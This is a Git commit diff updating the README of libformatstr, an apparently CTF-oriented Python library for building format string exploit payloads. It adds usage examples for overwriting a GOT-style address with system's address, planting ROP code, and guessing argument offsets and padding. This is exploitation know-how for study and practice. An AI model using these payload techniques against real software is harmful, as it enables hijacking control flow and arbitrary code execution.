Skip to content

Commit 92f9009

Browse files
committed
Updated readme
1 parent 9665816 commit 92f9009

File tree

1 file changed

+27
-5
lines changed

1 file changed

+27
-5
lines changed

README.md

Lines changed: 27 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ Usage
88

99
* Case 1 - replace one dword:
1010

11-
<pre>
11+
```python
1212
import sys
1313
from libformatstr import FormatStr
1414

@@ -19,12 +19,12 @@ p = FormatStr()
1919
p[addr] = system_addr
2020

2121
# buf is 14th argument, 4 bytes are already printed
22-
sys.stdout.write( p.payload(14, 4) )
23-
</pre>
22+
sys.stdout.write( p.payload(14, start_len=4) )
23+
```
2424

2525
* Case 2 - put ROP code somewhere:
2626

27-
<pre>
27+
```python
2828
import sys
2929
from libformatstr import FormatStr
3030

@@ -34,7 +34,29 @@ p = FormatStr()
3434
p[addr] = rop
3535

3636
sys.stdout.write( p.payload(14) )
37-
</pre>
37+
```
38+
39+
* Case 3 - guess argument number and padding:
40+
41+
```python
42+
import sys
43+
from libformatstr import FormatStr
44+
45+
# let's say we have do_fmt function,
46+
# which gives us only output of format string
47+
# (you can also just copy fmtstr and output manually)
48+
49+
buf_size = 250 # fix buf_size to avoid offset variation
50+
res = do_fmt(make_pattern(buf_size))
51+
argnum, padding = guess_argnum(res, buf_size)
52+
53+
# of course you can use it in payload generation
54+
55+
p = FormatStr(buf_size)
56+
p[0xbffffe70] = "\x70\xfe\xff\xbf\xeb\xfe" # yes, you can also put strings
57+
58+
sys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already
59+
```
3860

3961
About
4062
---------------------

0 commit comments

Comments
 (0)